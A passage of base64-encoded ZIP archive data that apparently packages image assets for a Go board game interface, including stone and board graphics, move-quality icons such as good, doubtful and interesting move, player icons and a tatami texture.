ao+y9hTI1gKg6u+niePOYGfze2D+N35N0CfvF1NObNmXIug77Cd6bu+htJToch6r5HCaZS/5nqDvgRNKQ97CUkOg1yRuHnY6R7W9fnpuG4KkYKUFuPLFR1NRy7eclsd4ihzeN9qgaW86HB3PbJzMMmIGnPndLkG2Qi6AoT9T9wySvUBALKUKss6lGWIW+VykLWE8o1P/yeRCPTcEk1ZQhDi9Wqt6Z5U5juh6GQPhdMPSRb4yJsgb4GsGLY8id5X235KuFYzahohWzWma6vc+S837LL6IyHr8Blr8ZoxxWYSJ4KHwaoURySSUthu4QwLDMCTwFgp6qO6xyjS6ZZm5s/4cW/h2PF8hlS+YVJZAEljOY5yiZU0QmAK8Tp3TCJrG5pDVJlXFZCmtxjP0RlitKZv+KS2qJFuLgF6GVXRGniQ6lFNGqmqCsN7oKRa62UwZdFH2ZO6VtXn9s2f6OKURRlMb2uC2I8djVm05TIRpvAWJGTnmzGqtk14bBej5hH0mcNFXYeWjneCH+FuF10SL39m6rnVUbjC41Sx2c0XkmRYK4I8qj30/zeZeKD3x5MFU3IfYyxhZBiSgFlH1lnFV1SS6Zu+Gklg+f5J2C4tKV8lSKp6CcfUIB5Wxhb9/XXZmGp89+cbyHfWuW/LJiJPJXQgnb0kugSZn7RiBnQdoKOPIiIJiGynf9dFcyiHxRw0AZQceEInWF4D/y/LYmumu6L+D6BqyfO0rwRAVoMhrWa0qfbaxjyUSV0I4/FPFZXspGBtXGB3YBcPgAv87xEBSFmEWH4+UPjpbGYMQXUYZT6vDUkbYCSA5iOz3msYJmcZrRScmncJ99M+qYnL+MCgJfedPWk9YtNjhERko3MM/SZ0iYyhilI2krD2o+sc4EkU+D9H/uMufpMx/cbOi9TfvksnOrvOgVdB97A/poDWdo1ekRykjKSaq4vv3w+WItiz1zkj0pDvoubzZ6PX+V0pF++gVZWZe0nfP5JaRMhMQJAo2rW78aHeudr3S2A41MYKPz1vsqZI0URVpII7+dcU5f5BStU6c5mTO6XLfYx39mR0wEvkPxKSkGx+hxn12nRUCBx9vq7HpmCPCGsr9xAZsCJUOT+BmQXzYH48/5VZxMzmFEfBlmdS7XskkrkQzaw66Z4OmBPXH9x5MeacYxqO5fAMK6GYr+FRqRF6/E7AXXa/So/2NJKRXKPh8ZuR2pIuwLkM5wgdaxTO/m734udTy7Kipn2dY8TV9P4tAtEv1lw+hmaLRdmn2mqCP2BQTP8wZbOOTmREV0d/vERvhB7RLAtFmwuD7eFreD7NagcknedbRnwqq1JicsqRc3o2mVshBHorucOjV/0NgtUFudq59eECetfT3B7CSUVexy38xRBPqElcCSj5Bjlq6grjcu42P0uCaR6+HE6k4eiNs15hM84Ex0Om7WWvXMbCz9j8IHAtRZFmBKKI72Ft7ou+J+JNX7ic0cJvp/9kEjSsLI6ASzrkleoecXoB/eZTZlY1rVYTgfQFrHzh83CQWE2EeT1UoA4f5iuvRKvNHOwmr/Xk/Y8jh3tReCMR+Tv5uji58kYYB+KPLJcUGkNNBhc0ZeIoC62iTThGUNNLfyATRajnNkuPs9Qb/JKX1yHGO+0jotYOWTE7MpasJIkyXyLNp8f3yx7EgqasOPcsy+0aGbfJn1AMTxB8tqINVCk1G1z22MzFsTVGVL9Nig5u+Vax+xwchSIcOUXONjRXXU7D4uPAKS1yI71djAPvdAleLVAQDZTmomc20j1r651PpNcteeRQFTUNXr6MXH9ct2cJixxgFkvxGIJJifQonuCuqlLXI6243DKBeLRrC5SqotoxNrN1xrRaC/IA6GCdYZ+Ge5i3uyX0pkdGjzTQiUqKBmJvSjaueZx0TQhAVgWhItkuGkqAKrSxHsbzXXPxRq24W0NeQKJjGyJWEpqJpLC6LeMivR5tePDByg1ZhQK5xdZcPoiJ7pZipqvCfYiVFMwbQYxZMHWHC9svz/+zTFglBzu+dIUS8LTiuLBnNjHuVAfZpZlhgq8WC4Cu99Ux1tZohLRsQqQ0ttvx/Lcu1D5TS8P3HlvCV5jZwMB4g6/WOCcJBFz3U9RKVyq6s7zjnNe5rVuPvYb3D2vOEZsNeHxWrRmK9qaWqaGfX+YjJk4iGMDF7aZE4w/s0cu/BMlM1ydbWCLfMrX5x/bcYlrHOk0rJqt5E6f8CFFTvhE0k3Are+/YV74j1tmpfCPhFenq8cSv4x+cmrw7/WjTVVfA1yRB/ApXwCW5hEtpBUnAFTpViPmL0U+j7QZulLDmL7cFeYfeIZOWQH6S7fsk6REZsLiGhQsF3mZX7OZqKRH3DhJjvRWK+I652yemX/3K4p8E9u0L/W1SPVhJJlLaqG9BNRFNZzgSzHqRqka0tIrvqGBuFy27KNK56gFNNuUWIYE3vrNc0rVabxBXe10MTDovVX7bNAhoS1bPzKOi4stBUGjNQ0wBrE4QVb3rxXiexu+2VYr2PQ34ts80tkSun0AP2/yK7Whkjv/z82rmEve1BxF9OneL75koYMUiHNfFEOReFBznCFSIfnGCyVpBDB/efA/+hicdRi0T3PzrbHdZ3yGmAf9zVEW34jf9INJ8vcZjDQyTWE48k7HNXdGTYY7iCcpqU9lFTbwXxuCd1ZxEeVOCrXAfy0FQ62iSbK6P+pmjgV2Il0ZfeBIPvyRYUpQnPlbzwhwkkleQQq9lCicx/1GxRy0RiBeO4qoUYHPW843h40HO4QjRBXeoJ7ews/STqSuXoQBW68vDRTOWD1af5iwS3H9efXshkvAZAou5P383F8CBq3OCNubjLvTpO4fUqFNBefIdHqMl5IGXv3rj3mYzF4y4N7nQw0UFfFKRREGwlW1CcpirUQ/ldp8wQsSCWfsa7gJAAO16Rxbced6mwBxPjSAe91BVONMfcVGjcGbGK3b+12qaYqU3sbh5qgDCL215TRNOtncMLwC3cKQ2qqgCYl1v076WewYcM6mXs2VBQXJW9Ras+dUo7GYKrkr127JvCHfBj2V2HwZ8DoW5lnIzBDIB9UeS/Hr2aX2nUX7FnqPDIfd7/mraywEVc9sKA4NkN+FwJFpfKMuqE44dwihIBko6+fwFEQZa4otZOx/ATiSt5Usy+z21UJUbSCf5lvVnNxX+ORCCNCEgsoJePBRQa07uS0MGSLoE250nxODlIDfId9GxIH2fdW5iEH8uzbpE5LnbNIVCTlXkigF/5iYAIfAVsJF3gX0YWbKh5nvcOQ4lDxNn1bHxNOZMT/GIEX9h/05RViQzR9pmYSw0Rn8UGgXNT+Bx3ZhcWX7ixY+1VLhVADCAKGWMs0GBLGMDWdAbvziUcve2d1L8CcbUHPlD1GsbFdDGWaCXZsaEpQQ55LSL3lil7GxkirKCcxyKZyILIjuUqvR9hps7GCUJUzKdpavqfg2pJZYrRwXFDDzSJGJNG9wqJBlnEmE7T1PYL5uNy5Rq3Fix4X7szWaHHp5NHPVDApN+5hDjRNianuaK0ZJOw+k8pzWTOFVH20zTvNizirSPR0TSxd5bKLd4/oO3XQHLfE2jhw34e+xEZlv4pQ4K+n+zAEsmtKaAtp0sPn+NUHtI5en1jrH0y6zNOCwG0F955CsMw9fwYxY8VWEs3Gw8Xnux5TQu169EubXIguQ0E4JbaV43YbSK//OhxsVzKW2JcApHcxuI/ujiKALLKnLW/0uRZwlLlMiQY+gVP28tJzJPdSbRBvVjqloij73Xc5o6TzwLL/YPQwKRcvQjHJqmHfdHZaKax5TTmbjFrXDDC0eFCW9nwKTVLviEOKt3YjVIS/q7cYNSA2QVA5OzJM67KP2gA27wVYrBmjuSK5k9yKd9PlHH0asdv5InLgg9klQV5mM9uN5ZlAiDLEjtP53qxdXgAWly22Tvtuz6Vukgt5h3gqsPF1Sb4HJShXJvTZNwN1mg2PTyZogWTbvbehMzEvdU0S7GlAouP57C1MGMVM75Dqeb1r6ZU2nc5hFKvVYs48Y4yFLxZLO8O42wm+1fhIs0VsjXFUzMoTRdzpZMOaNyb7fEbrtlUdivF8JQg+mgQ6Zo2cbr2MShNMSxe5FtnVg78dCMhEzeW7MlPulaLjEm2ab1cUxMDJ8NTk2x3sdHce05KpuBU4pwfUudkoHAh0yQVmUb0SGlRa8M0F8feJeCu/0q6FgBRsZyWhHFQwDAoz2ZdG4Jy6bEa6oFzPnHjfSh3eK1wXJ9m+HqRb3jZIQDh/lAqru0wLwTh+Nl9/YEv5BWVbZQOaN67uF6vcSCKRFvcMNfe+TMZotVw4YvgBbKp7jsKxVbk2hiuCYpKNYQ+3v1qi+WD0F4aTktac4BQ/D3J8gWh4oIaT4ccjtkb9WjfbDBcPZWx6qAv8m4MR7Ypf+rfjr+wjEi3FiBFPBDrEtnJfZuO4igKagyfCuhHgHYdeDuHxBgA/qmuRzpPUJxFUY28LpoSIpNU53XEvVYETCp5QRi7u8bvdBi/uSReabI+LtPEeh/h+Aj/gV+VLP05P75VjqOBGtk3VDFn1vYhhZefFDGRo44kuMr1FkfjtKQ5EERmrlumgXwiEph0ccAENdLzKYz69ROT6qKgz8VPUjwcnW2gmpgFJDW8AbqjqpTeKuCkMQ0JKGW4VENDKcUhtCe6x8O3l0FOGvdSm90CPmrINLI6I4AxNtOoT6zKpvX7iYtiU8ifQKVzErQnpTxx9PB7TnCV3+J3avyoUYo5WJjy0921q14aNGYA1N//V1YOqpWudNNhwdXQnAtpbda9XMlpkjlkDUAAh0t/PydsyA++hYkxZUpUWVvaqHwTPJJWsr9Np2FEC+BwmlrWM3J2EWNyN8vA9+Y39WQabcUF0xz9nf57o0ZQmoYMUdqm1Siqik6vFyYp0nlo3CghZUoUgn1lP8uqC90tdbanB0CQYSXlIHkKUUhZqs8coG+HKw32ZGjjZ1bPgAoxSeH43zmEDbhTGbWvEobCz6Ji4NfMszOHBuvbbIc5wKRsZOepT0olr+wXzA1H5pcd75f5JAYCxRSGHV24GQA9tHgOAdVFaw8+GTkmptuNjC2MOlt+EpFVNMNgtiCsFwKoS68uuQOd1JaU66ZeDsmrEGLhonIyPAdZi8dlhhvSov6AiJ1R8h5zDNef7CTyZHGQdieYvSIvrC3oLKxDzYWOHuD/JkpjmuJFOrVBi2AOx3x3X4ZulGVls/lDy6sXB61WXUI7WiPaXgilI5PV+gFt0YZ1i5s0LW3QLQlmYQhtZMKix86AZ0IXmWCf5q0RZoraxJzJ6qRzdSWHLRlmYrKD/nXYT6d+Ir/DFWRq8sRbWjr8bRnUqPpkzAK9ZNUPkE7eppik0ZW0El0OMX6OuQE/TF4azvADfUzUkWTS/rwFZlaC0FqOluhH7Nu4YChPqk2eNp5+xGvqUNRQH8mvhktS0KUWA5MYNjuR9v2Gxh+FPEyuv3daiziampTa/xCQL2YgpoEALrz8rlMxm9iqVSiUmJmxlQFSrmitCEuok++5P9DAnwQtBMUCdwZ+UiYjbGnIy6huzpcNMd/8p1ksRME2lgMk1VayF6gNmZDQ4Lm1q4y54TUD2XYxiqasbhl2DIn9fidHGmKwBj3whEqGvcJzuX+6I/JxjoY+kKaM/tlZx7IEBc9YIZDUhuHStEvA8zqecX1XLvDUPJW8qanPB3BBwfX2vdj9N4e5rsZLvUdsY8VAwR6Dlkw9G9YIaU/zqWo2ppA3mYcLq18pzRfofZ3+sqf0kq3VK+qx7oRZTSNwHOR3Ewod7tEnmq9H4Vqm+mqG+MRuRL3ADhz8eNtHtrZXeqoL2grlFxfqfFmnbN2vyCOrS/4tZG28QT9HoRCYsk55+g7JnF/9TSFejQK8jNFrxOPfOFXLQwNHoU5rdwLaxKIVITCSsSB1Cc/r+ewipN3FMFYRQ9jLrS/8vHuqr6ZwVluNvaj323CN3K4+Moy9seMv5FdB61n5Nq6X8zHcflDBFkrOS0pb0mdnLuHF2HPrPA0KUBK857tKjFNEkTqOMTttiT7mKSg5bolBZL1m7xSl+dHfP+om9Ha1OioWSHFXq/3NY8QwhbbKr1z0l4hP8lDucxszk52l0unp8hJ+JFn+GQPsgNA9M7+v9nVyZfX3figI6jjYQhocra1Lqa8kg+MvBH4mKbJWcWxtqV6aY9tqf74A3ctgv3q5z0lbPIsbSzEZG4TXdwtyZw+TgpJ+xYEE6gtmv/mpMy9vx9sVGTLrwK++HGAZ9Yq3S5/p9boobdrjbjOL4sBBFCEGIA9zFaFuXrOCl238YR7TfuRFGbb/fWtgoL6g/iRDBqyg/AUWOhJlGnM/JKns1WNEns9eqs7YmqXbo9T+rU93es2+xOrmRET3y/WROSv28NfobzqQFZSEHHTglIY0ntsLWqaCZMeBhcBEDhX2f+xOGhzgr+DIY/w93N0+PmGF2AoU7oLsJnHdp2RzZHvnJsc1YUVTo3nz5T3U9t0gPyRPrmh/IzsJqyHtIddyzh5novLGQO+/Wzz0xwYGohs1e1Kbl8KE+g7NXzmNA6mYLWKwmO9akEXaPJSsgZ1vHwQ4NW8rb/b1KjxyoAXrvgFDu0U6EvUmbW6L/PsQb/GxO/vZBsmm9qKkV7/0tr8VQkpWGfYnEw4vw+H//lOfUjdqGGF4Y36N+INqGWq+ve+I+B9QSwMEFAACAAgA2VhtTB3884GvAQAA6QMAABUAHABpbWcvZ29iYW4vc3RvbmVfMS5zdmdVVAkAA7mip1q5oqdadXgLAAEE9QEAAAQUAAAAlZPNcuMgDMfveQqGXpJDsAB/kbFz7XEPu30Ax8Y2U8fOYLZO3n6FnTS7nXTaHV0kBPr/hCAb3xpyPnb9mNPWudMuCKZpYpNkg20CAQAB7qBkMpVrcxpKSlptmtYt/nxyd+5M//roPFdKBXOW7leEZJWuR++gi4u6sM+2qIzuHTFVTg90yWF2dMOJDHU9ahQCSny8LYdusDl9iqU3GjzezR/vXhaHU1Ead/E1r8ez4F+Sz/GKb+LBwdt38WTp7f9pSrx8nlMJMYt4iIH4K7hgJowSFkqFgc8oyXjkB+aHsWutrlG7oKS51nzpjcMn8HvU9ifekf7Rv4z6nv5li36sB3vM6bFw1pzXLBZJmhBAY7EMlSBbnnBcJUkMLJXh5r2nB/TVQi+AKeAL/M337Bw4Z4lIF3gOIsXC4gP94Sv6WT8Lbo8ua4i7tzG7XeH0moGSCA+gmIzE5jrlrDS27DQpz4jGWURJefEoEpuLEcXOxJEnrk3Xobjt1k/lxo/XDq/aPwSAW7S9/h/OlErfL+ZrCZ6yyP+zRaIfen2vPwtWm48SggEkt96b/SrzH3i/+gNQSwMECgAAAAAA2VhtTAAAAAAAAAAAAAAAAAcAHABpbWcvdWkvVVQJAAO5oqdauaKnWnV4CwABBPUBAAAEFAAAAFBLAwQUAAIACADZWG1Mnx5DN9kAAACvAQAAEgAcAGltZy91aS9iYWRtb3ZlLnN2Z1VUCQADuaKnWrmip1p1eAsAAQT1AQAABBQAAACVkLFqwzAQhnc/xXGhkAyxZFuJoViZvXTtbmrZEpWTIF2j0qevZLdNyRKi6TuO/74fNf4yglZm1CSx2CME05OWGOlzskcvUROdnxkLIeShyk9uZCXnnMUcHjKIr+nV4Becx6nz72B6iQnwupiXTr3Rr6Pg/Amv8nkajLUSgzakkN1kzx1pINcd/XByk8QZbUdqzWFb5LsNQrS+CKhfd215KVtuKxBQbUUrvhD+nWtY6vZTny39s7uO8o5g6b4a6j0XNUJSSPxwdr1KuPlrsEgeuBRzTfrwQ/YNUEsDBBQAAgAIANlYbUzkPs7LwwAAAIwBAAASABwAaW1nL3VpL2JhbGFuY2Uuc3ZnVVQJAAO5oqdauaKnWnV4CwABBPUBAAAEFAAAAK2Q0Y7CIBRE3/2KmzGb6MMWVqNuTPFfGoqFiNXA3UX/fgu2qx8gL8wwYc6FOv52lFzLVuFrC7LGdZYf+nb2fVSwzNe9ECmlKq2rS+jESkophos4zGhYdWuO8SGLPTfxRK5VyALPoITBaKabwkZ+gO4KEhO+nPzzZXZH571Cso4NxAtB5OYRLp70WrugvSE99H+D9L1sQWEHihwuJzOVjfZzenm1mWAcmj5em2B6Bon39Y55HlzhJ/jFPMtlYdT5Mw+zP1BLAwQUAAIACADZWG1MiW1SwH0AAACfAAAAEAAcAGltZy91aS9ibGFjay5zdmdVVAkAA7mip1q5oqdadXgLAAEE9QEAAAQUAAAANY3NDsIgEITvPMVm7wLV+BPD8i4NIhCRNrCR+vZWTecy8x1mxrRXgJ5uHAmHE0L0KUT+5+WZSyOMzPNVqd677Ac51aD2Wmu1FtEKWGVcqi57cAvhBcG9f1YJzwiN6/TwhD0m9hvutkN5RLinnAm5jqXNY/WFEZQV5rtvxQdQSwMEFAACAAgA2VhtTNJaPW51AAAAfAAAABcAHABpbWcvdWkvZG91YnRmdWxtb3ZlLnN2Z1VUCQADuaKnWrmip1p1eAsAAQT1AQAABBQAAAAVy70KwjAQAOA9T3Gcs700PxUkySAIWVzdhWoSiFra0BOf3rp9y+eWNUG+l5Sbx35A4DK27HHT51lfi8fc2nQkYuaOdfeeEykpJW0PgwBw061lGD1eDByuNqpVRVk1GNB7E80X4VFq9bg729NgLQIF4f47iB9QSwMEFAACAAgA2VhtTEfNiifZAAAArwEAABMAHABpbWcvdWkvZ29vZG1vdmUuc3ZnVVQJAAO5oqdauaKnWnV4CwABBPUBAAAEFAAAAJWQQW/CMAyF7/0VltEkOKxJg2AqapDYGa67V2vaRKSAEkOm/XqSdsC0C5oveY71/D258pcOtDKdJonFEiGYhrTEqL56e/ASNdFpxVgIIQ/z/Og6JjjnLPpwnUGsqlGtH+XQ9rXfg2kkJoGPwTB06pNujILzF3zAh6411koM2pBC9sd7qkkDufrg26PrJQ7S1qSmHIp8MUOI0N0cFlsOpRYXocVHfLfx5xvh17aKpWg/6dkYP3uKeBVPCGP2yXLzXr6VCIkh8ezsdJLk7B5hpPxjU/RV6eDr7ApQSwMEFAACAAgA2VhtTDxfRMJyAAAAfAAAABoAHABpbWcvdWkvaW50ZXJlc3Rpbmdtb3ZlLnN2Z1VUCQADuaKnWrmip1p1eAsAAQT1AQAABBQAAAAVi7EKwjAQQPd8xXHuvXhVMZJkcK6ru1DNBVIt9mjErzdO7/Hg+WVNIPecRANuDwg1jyoBm32m8lwCiup8Iqq1drXvXu9EbK2l9mE0AH6+qcAY8NLDfrDghFcWvjYOrXwRHrmUgBs+up07I1A0/n9H8wNQSwMEFAACAAgA2VhtTPlHqZ+KAAAA9wAAABQAHABpbWcvdWkvcGxheWVyXy0xLnN2Z1VUCQADuaKnWrmip1p1eAsAAQT1AQAABBQAAACdjs0OwiAQhO99is3e5a96MdB3aRCBiLSBjdS3F2M9eXMuk81kvxldHx5avFAwOJ4Qgos+kEGlELZ7ytVgIFrPnLfWWBvZUjxXQgjeH3EaoEvbWGxyYDeDUiLY58dLN4FQqSw3Z7CFSO57HvZOyXrpNaZkkMqc6zoXlwmB/6LV8W/0nneofu+ehhdQSwMEFAACAAgA2VhtTAPkW4fJAAAAswEAABMAHABpbWcvdWkvcGxheWVyXzEuc3ZnVVQJAAO5oqdauaKnWnV4CwABBPUBAAAEFAAAAI2QTQ7CIBCF955iMsZEFxasdmOKd2koFiK2BkbR21taa/1ZKBuYzLz3viH3lwqCKUkLXGcIWplKk8A0Rbgebe0FaqLTlrEQQhLWSeMqlnLOWSvE3QTak5dq7/tnVx4LfwBTtsrGKhwbXdMpSUPgivPZGNlXe2OtwKANKWQfWmmctArktR1eIchbf7uoRXiZzllkeNCxEe/VId18OXhyzUEN6Y9yOcAm2TsdxAyBZ2fn07jp4onwA/TfGHJF7U+FUzV11nn8893kDlBLAwQUAAIACADZWG1Mp/dQDS2KAAAjigAAEQAcAGltZy91aS90YXRhbWkucG5nVVQJAAO5oqdauaKnWnV4CwABBPUBAAAEFAAAAABQgK9/iVBORw0KGgoAAAANSUhEUgAAAFcAAADDCAYAAAD3P405AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuOWwzfk4AAImUSURBVHhejb3Vl2VJluZ3/y6tpSU9aEYD0sya7urqquqCZIoMZg5nZmZmZmYPpyAPjsiAzCzu1mhGGr2lh5vp+2071/26p0dWP9jax8697vccg72/jRYbmy/0g1O5fmgm1/dPZPmBqWzfN575Puri/e6RdF/VeslXt1z0NW2XfM9Yxk77YJIfmMzxXSOpfngmz/eOZfB91zWcav+7fSDJPmvqueY7h1J8fecV39J7Q39/0Td1X/PVrReOok7URdQ3dF3l71z7QIofnM6yNjaf50dmc9Vy9C66N5Xhe8fT9Jyp+r1kPWuSbx+8qd+/4Vr6rvnm3quJzb2vX9l81hfUHPPljWddW98tP7FUrN8qdDOr5W5iocTNr1e56ZVyN3u7wo0vFvvplTI3Nl/kxxeLNJ55PlbXdcY39pzzNe0nfV3naV/R/JWv7TgVp26/fyzQlq9FT7qi2k/146d9ffdlN6wXW7lbvbP2oN7fvl/nNh42+rXtBrf1qEn9er+5Xe+W7lR7Pl/crPCr92r9/HqZX9qq9LO3S93CRrmfXipwS6KTSwUeqr7nPv0E6oY0mKNzeX54Nssvb5X5+bUSv3q3yi+sl/qVO5V+7nahX9os9VOrfL/ETyzk+rm1Qg1KlgalQBOQ4aaW9fczaT7Q9DjVfS2yWe4HOjaf45mMmvZzvqHngmsZuOQ7R6759uGrrm88yXWP3dKiSda9G75n9KZrG7zsOoeu+qa+C76l/6KPDU2neRpfGphM0WoLf/B+elMrIkn/4JKvajnni+tP+fKms76x89oP9e2XfUvPTdfcc913DKbo+oZv60/yjV1XXWPPDacV6uo7rvoKfb+q9aIvqz+tvz3nC6u/9iV1J31B1bH301qjrkS/19qX5MYWCv29p+1qbf7Bi25//1m7v/+8y9990qrW5rceN/s7umaiNx81a2Ib/Pp2oya2zq6PoC6Rrtyt1eTXslJ9n3bg4FSmG1/I1iTnuwlNxvRygVZtoZ9Rm1rM351Sf1wTOa4JGZnN2h2dy/Sx4Zl8/WGebef+CbZ8Fk0zY03X8XtGdS/bd49l+mZtEwaotS/Fj0wX+fV7zT+s3m306w9a/Np9vdjDdsf1xnarv32vyW/cb9GD6+X0neVNvcRWg1ZWrVvcrHXza9VavTXqW0u4ro2utdL5znqNH58rdl0jmrj+K1otN3zH8FU9d5K2/nWviXcdg6wubeu+82IDlzWxp3V91td2nrTrqjZ23nFf2cpOPB7t0P3+3v0WsQPt0oLqL3R9Tmws1Y/NFfnJxVINcKmbWq3wM6sVYgmVfmpJ91bK/cRiiVPTzir0I2IPsdGZIqcB1mgXaJC1HabDQAeanUDzD9Cu4UxX2XxBq/Ccr2w6pRe4tKOmFXvVtw1ec90jt/SiN7RNWL1XbTCaey6JBV3QS57Ty541VlSpF6CVNR4TCzoGNRZU1vgl1IkeuF/edFzsy3g8fM7NrenlVsQe1qu0ncvEZir0gsV+clkvOV+gFy7Wu+XrhQtMbgxO5/q+iUiG7NMgS/b6WdZv7b8l+XBTjV2bLRYjvrpcBp/1sxrc2VXYUCWDbI2B5zvj4sfivS7WKMFR0XTG13dccaX1JyVEzmsrntinLT+iDlpUc9znlH/lS7W169ovaLBv7XQO3XS9Yyl68RQ/NJlu1wPjqRJot3yvhErH4HXfNXhDE3GZa9fQfZ5J0UqB719wNe2nxT4uaNBP2yTUtJ+h7+raxXa6Aq1u0+91XLAFML9eLT5b7xa1slfvshNq/PKdevHYKvH2WgbCvqOVpkGv1LYtkdApt5XFRLASoeMakKMoC6mpJ0m/ecXXtF7WTkj2jFfXcJoWzC0m2LcN3JLQTDPB3D6ozyVwW/puSkhf8DFmdXA6x2asf1LbX7NnTYjgp2iz/lm1UAJIAcmugdzpHUvTS2dYG57RKpliJWSa5O6fSDfJTQsr+pZYylVrTd2XxKfZwhd3I6pVfnlXAwq1gY2oJlcT0X3Vj84WSXDV+c0Hbf72nSa/td1mrAb2w2Cv3W0WK6mye6yyxTUNtgZW7MUGGyqJ/146d7vKD09ptU8W+u7RHDc4metACxOL4rOr5WIFxWH13i6zPjtlUiyBnTK+UORH5vJ9bPkO/K7Cz6vNrTHTbC39yHvoXEQnlgpdz0imZkzwakgSfKbkh7HZMj8xI/6zoB9frHRTixVucl68SG1stsSNzpS64alireoiPzhR6PvH8n3fqCDbSK5ajusZzoF6URdRtWyj8c+71EZmSjSwDf7JNwP+yZtB9+T1gNqgrgf841f9/tE3ff7Rq3738Jtev/2y1z943i2h12MC794zhF6HBGFnnLqEvku8z26YXCwTewkDevtuteRGjV+/r8kT8pGwdOvbmtAHdU4oye4JNek7CMMqHxuzLVLqWMGT4DPh0glJYlHNYKELVAOSQCeXSrQy87V6k4QYhHMl2IRd3zX1XNHWuela+29qEJLFc29plbJCr9OEVa8Ip15xte3nPQ0oV6WVWN5w3JU3nhR6+FqYco86Ue5DdyPqC6u+cGUNJ7Qdb+g5CsRf8/XiNtl+ZrlQq0bvIYkOjBqdA/dmIL1932SqrtO1w5Jd/0SqYd8E6npGQz+Rdmh3NQn5tEh4iw05CS7j8XMrldodVVrlFWJDNX5eK3hhvdrBj8WDHePIZMSAMpvCo3cetwiqNDhgC7MR0UP9AGugwJQhDfDANEKj1K/da9m5LZSwoW26vt3q7jzscFxvPmrnM1CEW7nTINzbLIRQJ17ZoAep0v+pF5zRttW9GQmIiNp3Eujeffhlr5SZzmHBRrEbsSM3NAOaSdUApEuQJnEP1oMckFASLh24Lh4uViNeX9d5zq5rO8THAxVfP9Dfo2WNXzORrlk8dGqlxG2/7NoF8j36hp3Q6Z+8Zmd0usev2BUd/uE3XVr5bY7P7jxp8TFWT1mDsGrjCV9cC648JmH11R4trvkS6iIa7wubfuFLJQhr2wWJxIcXN2t2NOBu+U6dBg4BU6dtZdd2j8nQdyR0KsViYEGSuOJX0+JVxrO0G2ZWgTlGXWJ/ekX8LOoPC72MC+bM367Wi/X5B896/aOXA377eZ97+KLf33/aoxfv9feedGtrd/k7j7TNRTe324V9O7SlW23CI+oO9fcpEPJui2RElnj8Te02IZ0u2mXXIu1NO3W3Y1CKQz9oSJPXLZmgJmErLH+BHbkbQ6tZ3CzXy4vvSstZlHYzv16sFWM03v8RnVjMk7RMk4REtc3206vlO+A+SWdbkQgVhAMSHMaPBEegIMERGAgVUxXFagQDTYILJtnKBC5BBQPdKKyIAY1oz2iGr+9iBaIagzYui+VcsQbU416DYB4IpLrthGCeWpPYTIMWTP3nXpqlK6z5xKvF6XtbQfVnWkhfSt2+JAGVpd1X627fq9bgG5/V6mxC+9SkNbq1+zXiwfVaUBKi4svLGk8pESgPSHhJdQ1Wn6R6z2jqHkXyJ1DH9+gDNxo6r/uBiQL9o2b/7Z8X373547z/7i9L/u2f5v33f13SvXn33Z8X1Z/T/UX/5o+z/q2+8+r3M3zHvfx2yr/+/ax/8XbSvf7DHNQfQR301fdz7vmbCb/1sFvPku/qO68JPorfi3c391zVDrrIqjKtsabtnO3GCuHv4rqvBReP+/yqL7TbvvTZZZ/4vIrPfHbpx0dRF+gX1s8s/cSl5H/oShpOu9a+W25MCGBsHp5ehDyynTS1LNi2VOzGDVMXanHkaWHkSU3P9jEGDcjUO8YKTBeDTxb/SjNG/z7Kd7ulJTVLvdUgOwwyPWOpPzDwNCZMbRchicIxKIjXOwocyzAoxuS0S+i1DyZpi10z/R1hh7Hkx/TyAVreeFoY/KxW7nkTPBJQfnAm3YTU4BSCyNRzU146hatRYNr6rgjKSXkRL23oPquVfyaxuUP9vVaslV5Q/bkm6LgJ0KEZCfvFAg0w6m/x7qQQ04xY1thCvthYkQYV9TdfrCtLuzHHx5jpsvoT9tDMLApCgSRyoPDeH1EHzSn73GUUf6p7X+vFrzFrYgvgvSLjq+KnUmsrJAgE4EX58WlJ9VE9mNCJ4WDsA5pcJ0wotTrND8/mRTTHJlJUikhq1E+3SRMS2UWY9YyngA6kLeWL5cCP9f9va0Ut5+v/F4iN6P8vghgyaW5gOkWToB05KTQwlex7J6R1aTKgTMpRtHssSYrNOa38U9awkaAcoDBw3YHS0H1VfPeWdhE896rtHK7ZNTEk//rDRqxZ/rZw2vLdmvfSNfEZ6+u7M7dL9XBZWol6YElqvczO6EKmZjZHA5kr/spL5mlG8zXw2eKd2dK3NZCz2il6yYFpDEW85E0N1A29yHWai+h7W/uQoBGrvj9FODlXA1Eg3Cz1fbpI2qDUd7GpXgkhPusaTBc2zvLtfSm+cyBdi+CWb+tNcQ2dN3xrT7LY2h510KaoH6f1HTd8U5dw/HCmFkil3xICuCe0oObuPe80xHD/RccuSIF250mruxuhr83HzS6GpSvgupvaYlLlhq/bNbR7DDiTSG9JlZUKq8+be684dHypzcKDqbZy0UpYuWgpIAE0GlYuGotWrhvRqmXlDmrVjszmun60uUiDE4/fFWsJvH4s1QWaHvXT9/rdYi+DU3luaaPOPxZKePxySMqEFIhvBl3oD/hHQg0Pn/f5bSGJB6AHtfugh8dSIEAPj6Q4BHqgGbJIoGh1ozOFendYprROCTXws1m/FtiBBdEuAcHk6DPModnS5tJ2h6YzfMxWpYAwdtjFzUpMbkIEP0ntezO3K4Q10amlNIgfYVsYmAwG6sEZVmcA74MC7vDyPm3jnlEM10zgTbMztA9cM9tCS6+2VA8qbjDsJFCzLST2pf4K6ly2rQmqGJjKkcJQKJZhxicJ2Gzu6feYNIz6adpdafq9ZNP9WyWIW/tviddrdWo7N/dKwTGqvpSFRIp5tLKF371pC2bjYdMuOD+YM1sE8dqkzbWaaZN7fKbvmB6weq/BxToGr+gBrpuBt33osq8Xw28b5GXeS81oXC54I97ssyRVi2qOofO/A9/VSlIjtWmS4q6+/YLjurrlrEnx8oaTvqLxjGFleD2SWrzepHRBpaR0yUeinztRF+/nI82j+1nFH7ui6mO+VEKmseO8tvAFbeHL2vJ6ti4JLPHI+o5zmgQJvpZTvrLhuH7vuC8VpCqp/dIVVun31PIqPzFaUPnpeynIIrvsU8G3Yxqfy75HfHjAbN+pxsslSG21Dk6lmHG9bxx+nWLjyXWsU9pLnXAhOLG6zUyHvqr1ZJxKO4n6Wj0RddCatrM+Vy+dpwHI08NUt53bqWkNFqu69nO7qMINevGGrksC4OdM46lswsR40pVKQZH2IywJ7vzC5VZoYKs+9znlGsiqT43G+xGVEA39rJIP1T7WxJzyrVp1UrdBHb5jAG1Mq1L3+O2mLn4ftnXR0AWTW9l0WgN9KghwTXICdUf1S+tO+rzyL6VcHdfz